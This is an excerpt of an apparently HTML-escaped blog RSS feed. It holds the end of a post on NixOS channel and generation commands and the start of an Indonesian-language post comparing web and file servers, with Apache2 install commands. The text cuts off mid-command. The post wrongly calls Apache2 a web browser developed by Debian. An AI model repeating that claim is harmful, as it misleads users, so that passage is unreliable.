menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;or&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;home-manager&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;switch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# for home.nix&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;3. Listing &amp;amp; Upgrading Packages&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;a href=&quot;#3-listing--upgrading-packages1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Listing&lt;/strong&gt; Nix channels&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nix-channel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--list&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Adding/Changing&lt;/strong&gt; channels&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nix-channel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{name}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;For instance, I would like to add &lt;strong&gt;“NixOS”&lt;/strong&gt; 25.11 channel:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nix-channel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://nixos.org/channels/nixos-25.11&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nixos&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;A similar command goes with &lt;strong&gt;“home-manager”&lt;/strong&gt; 25.11 channel:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nix-channel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/nix-community/home-manager/archive/release-25.11.tar.gz&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;home-manager&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Removing&lt;/strong&gt; channels&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nix-channel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--remove&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{channel-alias}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;For instance, I would like to remove &lt;strong&gt;“nixos”&lt;/strong&gt; channel:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nix-channel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--remove&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nixos&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;A similar command goes with &lt;strong&gt;“home-manager”&lt;/strong&gt; channel:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nix-channel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--remove&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;home-manager&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Updating&lt;/strong&gt; channels&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nix-channel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--update&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Using the previous command won’t cause a rebuild itself; if you want to update channels and rebuild, use the following command to do both in one step.&lt;/p&gt;&lt;/blockquote&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Upgrading&lt;/strong&gt; Nix packages&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nixos-rebuild&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--upgrade&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;4. Listing &amp;amp; Deleting NixOS generations&lt;a href=&quot;#4-listing--deleting-nixos-generations&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Listing&lt;/strong&gt; NixOS generations&lt;/li&gt;
&lt;/ol&gt;&lt;ul&gt;
&lt;li&gt;Rebuild generations&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nixos-rebuild&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;list-generations&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;atau&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nix-env&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/nix/var/nix/profiles/system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--list-generations&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Env generations&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-env&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--list-generations&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Home manager generations&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;home-manager&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;generations&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Deleting&lt;/strong&gt; NixOS generations&lt;/li&gt;
&lt;/ol&gt;&lt;ul&gt;
&lt;li&gt;Deleting rebuild generations&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nix-env&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/nix/var/nix/profiles/system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--delete-generations&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;number&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Deleting env generations&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-env&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--delete-generations&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;number&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Deleting home manager generations&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;home-manager&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remove-generations&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;number&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://nixos.wiki/wiki/Nix_channels&quot; target=&quot;_blank&quot;&gt;https://nixos.wiki/wiki/Nix_channels&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>File/Web Server Options At a Glance</title><link>https://shangdi.github.io/posts/tech/fileserver/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/fileserver/</guid><description>A curated file server list that will enhance your productivity, especially as a hobbyist.</description><pubDate>Fri, 28 Nov 2025 01:18:57 GMT</pubDate><content:encoded>&lt;p&gt;Beberapa pengalaman kecil saya (terutama sejak mengenal linux) pada akhirnya membawa urgensi pada file server atau web server. Misalnya, saya ingin men-&lt;em&gt;transfer&lt;/em&gt; file dari satu komputer ke komputer yang lain. Saya mencari tahu, apa cara yang paling efektif dan efisien untuk melakukan hal tersebut? Akhirnya, saya paham, web/file server adalah jawabannya. Tapi, sebelum lebih jauh, mari kita cari tahu, apa itu &lt;strong&gt;“file server”&lt;/strong&gt; dan &lt;strong&gt;“web server”&lt;/strong&gt;? Apakah keduanya sama atau berbeda? Jika berbeda, apa saja perbedaannya?&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;A Definition&lt;a href=&quot;#a-definition&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Web Server&lt;a href=&quot;#web-server&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Secara sederhana, &lt;strong&gt;Web server&lt;/strong&gt; adalah sebuah layanan di komputer yang menyajikan atau menyediakan halaman website yang dapat diakses oleh kita semua melalui web browser seperti firefox, google chrome, safari, microsoft edge, dan lainnya. Sebagai contoh, ketika kita mengunjungi situs-situs atau website-website seperti &lt;code&gt;https://www.detik.com&lt;/code&gt;, &lt;code&gt;https://www.instagram.com&lt;/code&gt;, &lt;code&gt;https://shopee.co.id&lt;/code&gt;, &lt;code&gt;http://httpforever.com/&lt;/code&gt;, dan website lainnya di browser, maka itulah beberapa contoh dari web server.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Umumnya, web server dibagi menjadi 2:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;“&lt;em&gt;static web server&lt;/em&gt;”: umumnya hanya menampilkan informasi saja.&lt;br /&gt;
Contoh &lt;em&gt;static site&lt;/em&gt; adalah seperti blog ini.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;“&lt;em&gt;dynamic web server&lt;/em&gt;”: melibatkan &lt;em&gt;database&lt;/em&gt; untuk menyimpan data pengguna seperti &lt;em&gt;username&lt;/em&gt; dan &lt;em&gt;password&lt;/em&gt;.&lt;br /&gt;
&lt;code&gt;https://www.shopee.co.id&lt;/code&gt; adalah contoh &lt;em&gt;dynamic site&lt;/em&gt;, karena menggunakan database di belakangnya (kita mungkin tidak bisa lihat) untuk menyimpan data-data penting yang dibutuhkan oleh pengguna website tersebut.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;File Server&lt;a href=&quot;#file-server&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sederhananya, &lt;strong&gt;File Server&lt;/strong&gt; adalah sebuah layanan di komputer yang khusus ditujukan untuk menyajikan/menyediakan/membagikan file yang dapat diakses oleh orang lain (terutama 2 hal: &lt;strong&gt;unduh&lt;/strong&gt; &amp;amp; &lt;strong&gt;unggah&lt;/strong&gt;). File yang dibagikan dapat berupa apapun, mulai dari file dokumen, file gambar, file video, file aplikasi, dan lain-lain. Yang perlu diperhatikan, salah satu cara mengakses file server adalah melalui web server. Ada banyak cara atau protokol lain yang dapat digunakan untuk melakukan &lt;em&gt;file sharing&lt;/em&gt;, tapi kita akan lebih fokus pada penggunaan web server untuk membagikan file.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Contoh website yang menyediakan layanan file server ini misalnya &lt;a href=&quot;https://www.drive.google.com&quot; target=&quot;_blank&quot;&gt;Google Drive&lt;/a&gt;, &lt;a href=&quot;https://www.dropbox.com&quot; target=&quot;_blank&quot;&gt;Dropbox&lt;/a&gt;, &lt;a href=&quot;https://www.onedrive.com&quot; target=&quot;_blank&quot;&gt;OneDrive&lt;/a&gt;, dan &lt;a href=&quot;https://cloudinary.com/&quot; target=&quot;_blank&quot;&gt;Cloudinary&lt;/a&gt; yang juga sempat saya bahas di artikel yang lain.&lt;/p&gt;&lt;a href=&quot;/posts/tech/cloudinary/&quot;&gt;&lt;div&gt;&lt;div&gt;Automatic Image &amp;amp; Video File(s) Hosting in Cloudinary through Python&lt;/div&gt;&lt;div&gt;A brief tutorial on how to upload file(s) or video(s) to Cloudinary through Python script.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-05-30&lt;/span&gt;&lt;span&gt;cloudinary&lt;/span&gt;&lt;span&gt;&lt;span&gt;#cloudinary&lt;/span&gt;&lt;span&gt;#python&lt;/span&gt;&lt;span&gt;#environment&lt;/span&gt;&lt;span&gt;#images&lt;/span&gt;&lt;span&gt;#videos&lt;/span&gt;&lt;span&gt;#api&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; src=&quot;/_astro/featured.DyaHCHT__LL7ho.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt;&lt;br /&gt;
Jadi, jelas, secara fungsi, mereka berdua berbeda, walaupun punya kemiripan di beberapa sisi. Perbedaannya, web server berfokus pada penyediaan konten berbasis web, sementara file server berfokus pada penyediaan dan pengelolaan file.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Nah, kali ini, saya akan membahas beberapa file server yang dapat digunakan.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;File Server Lists&lt;a href=&quot;#file-server-lists&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah daftar file server yang saya tahu (dan pernah saya coba tentunya), berikut dengan cara &lt;em&gt;install&lt;/em&gt;-nya dan fitur-fiturnya.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Apache2&lt;a href=&quot;#1-apache2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://httpd.apache.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Apache2&lt;/strong&gt;&lt;/a&gt; sebetulnya adalah web browser yang dikembangkan oleh salah satu pengembang linux populer di dunia, &lt;a href=&quot;https://www.debian.org/index.html&quot; target=&quot;_blank&quot;&gt;Debian&lt;/a&gt;. Jangan salah, meskipun terdengar remeh (karena mungkin buatan &lt;em&gt;open-source&lt;/em&gt; / gratisan), web server ini digunakan di banyak perusahaan-perusahaan besar. Artinya, web server sederhana ini memiliki manfaat yang besar.&lt;/p&gt;&lt;p&gt;Meskipun peruntukannya adalah web server, apache2 ini dapat di-alih fungsi-kannya menjadi file server. Tapi, sebelum masuk ke sana, mari kita &lt;em&gt;install&lt;/em&gt; terlebih dahulu.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;apache2&lt;/code&gt; di beberapa sistem operasi Linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install apache2&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy apache&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install httpd&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install apache2&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;configuration.nix&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;apacheHttpd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; 